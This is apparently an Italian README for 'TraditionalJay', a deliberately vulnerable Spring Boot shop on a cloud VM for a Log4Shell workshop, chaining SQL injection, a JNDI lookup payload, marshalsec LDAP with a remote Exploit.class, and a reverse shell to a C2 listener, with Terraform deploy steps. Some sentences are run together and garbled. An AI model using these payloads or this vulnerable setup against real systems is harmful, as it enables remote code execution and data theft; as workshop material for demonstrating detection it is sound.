
Negozio Java ospitato su VM intenzionalmente vulnerabile — Laboratorio workshop Log4Shell (CVE-2021-44228) (EC2 / Azure VM / GCE)
Negozio intenzionalmente vulnerabile classico / tradizionale per workshop di sicurezza — Java su una VM (EC2, VM Azure o Compute Engine GCP), non container.
Storia principale: Compromissione critica della VM — SQL injection → Log4Shell (CVE-2021-44228) → reverse shell verso C2 esterno.
[!CAUTION] Non distribuire in account di produzione. Mantieni le VM effimere e con ambito di rete limitato al tuo laboratorio.
Jay's Surf Shop copre i runtime cloud-native (ECS / ACA / GKE). TraditionalJay copre il percorso host / VM:
| Surf Shop | TraditionalJay |
|---|
| Calcolo | Container / serverless | Singola VM Linux |
| Stack | Next.js + Python | Spring Boot + Log4j2 |
| CVE principale | Pillow, React2Shell, YAML, … | Log4Shell |
cd app
mvn -DskipTests spring-boot:run
# open http://localhost:8080
# exploit lab: http://localhost:8080/security
Richiede Java 11+ e Maven.
/search scarica una tabella secrets.2.14.1 verso il tuo listener.bash /dev/tcp di breve durata verso il tuo listener C2.# listeners (reachable from the VM)
python3 tools/ldap-listen.py --port 1389
python3 tools/c2-listen.py --port 4444
# or open http://HOST:8080/security and click Run Critical VM Compromise
curl -s -X POST "http://HOST:8080/api/demo/critical-vm-compromise" \
--data-urlencode "ldap_callback=YOUR_IP:1389" \
--data-urlencode "c2_callback=YOUR_IP:4444" | jq .
Solo sonda (dimostra connessione LDAP in uscita):
python3 tools/ldap-listen.py --port 1389
RCE completa (marshalsec LDAP + Exploit.class remoto; la VM viene eseguita con trustURLCodebase=true intenzionalmente):
./tools/setup-marshalsec.sh
./tools/run-log4shell-ldap.sh --codebase-host YOUR_PUBLIC_IP
Quindi apri /security, imposta il callback LDAP su YOUR_PUBLIC_IP:1389, clicca su Run Log4Shell. In caso di successo, la VM ottiene /tmp/jss-log4shell-rce, /tmp/jss-log4shell-id.txt e una bash interattiva di circa 45 secondi (PTY tramite script quando disponibile) per demo del sensore host.
Puoi anche colpire la ricerca con un User-Agent modificato:
curl -s "http://localhost:8080/search?q=wax" \
-H 'User-Agent: ${jndi:ldap://127.0.0.1:1389/a}' -o /dev/null
Passa le credenziali Upwind tramite locale terraform.tfvars (ignorato da git). Cloud-init le esporta e scripts/install-vm.sh esegue scripts/install-upwind-sensor.sh.
Memoria: scanner-v2=true richiede ~7 GiB di RAM libera al momento dell'installazione (non disco). Il Terraform AWS predefinito utilizza t3.large (8 GiB) + root 40 GiB gp3 in modo che lo scanner non venga saltato (Installazione scanner saltata, richiede 7000000 kB su istanze più piccole).
curl -s https://get.upwind.io/sensor.sh | \
UPWIND_CLIENT_ID=… \
UPWIND_CLIENT_SECRET=… \
UPWIND_AGENT_EXTRA_CONFIG="scanner-v2=true" \
bash -s
Esempio AWS infrastructure/aws/terraform.tfvars:
upwind_client_id = "…"
upwind_client_secret = "…"
upwind_agent_extra_config = "scanner-v2=true"
Se le credenziali sono vuote, l'app viene comunque installata e il passaggio del sensore viene saltato.
Workflow di GitHub Actions .github/workflows/build.yml:
v* → Rilascio GitHub con il JAR fatLe VM preferiscono l'ultimo JAR di rilascio tramite scripts/install-vm.sh e tornano a una build Maven sulla macchina se non esiste ancora alcun rilascio. Il programma di installazione quindi esplode il JAR fat in /opt/traditionaljay/BOOT-INF/lib/ ed esegue JarLauncher, in modo che SCA host/agentless possa vedere log4j-core-2.14.1.jar su disco (eseguire solo java -jar app.jar annida Log4j all'interno di uno zip e spesso nasconde CVE-2021-44228 dall'inventario dei pacchetti).
# cut a release (triggers JAR publish)
git tag v0.1.0 && git push origin v0.1.0
Ogni cartella cloud è un Terraform autonomo. Il primo avvio esegue scripts/install-vm.sh (OpenJDK 11 + JAR di rilascio o build Maven + systemd).
cd infrastructure/aws
terraform init
terraform apply
terraform output application_url
cd infrastructure/azure
terraform init
terraform apply -var="ssh_public_key=$(cat ~/.ssh/id_rsa.pub)"
terraform output application_url
cd infrastructure/gcp
terraform init
terraform apply -var="project_id=YOUR_PROJECT"
terraform output application_url
Il primo avvio richiede alcuni minuti mentre Maven compila sull'istanza. Quindi apri http://PUBLIC_IP:8080/security.
app/ Negozi Spring Boot + interfaccia Log4Shell /security
tools/ldap-listen.py Listener LDAP solo banner (dimostrazione connessione in uscita)
tools/run-log4shell-ldap.sh RCE completa LDAP + server codebase HTTP
tools/exploit/Exploit.java Payload di classe remota per marshalsec
scripts/install-vm.sh Installer VM cloud-init / manuale
infrastructure/aws|azure|gcp
tools/exploit/Exploit.class per una vera RCE Log4Shell in sandbox isolate.-Dcom.sun.jndi.ldap.object.trustURLCodebase=true è intenzionale (disabilitato per default su Java 11+).ldap-listen.py solo banner rimane per la dimostrazione della connessione LDAP in uscita senza esecuzione di codice.0.0.0.0/0 su 22/8080 — restringere *_ingress_cidr / gli intervalli di origine per laboratori condivisi.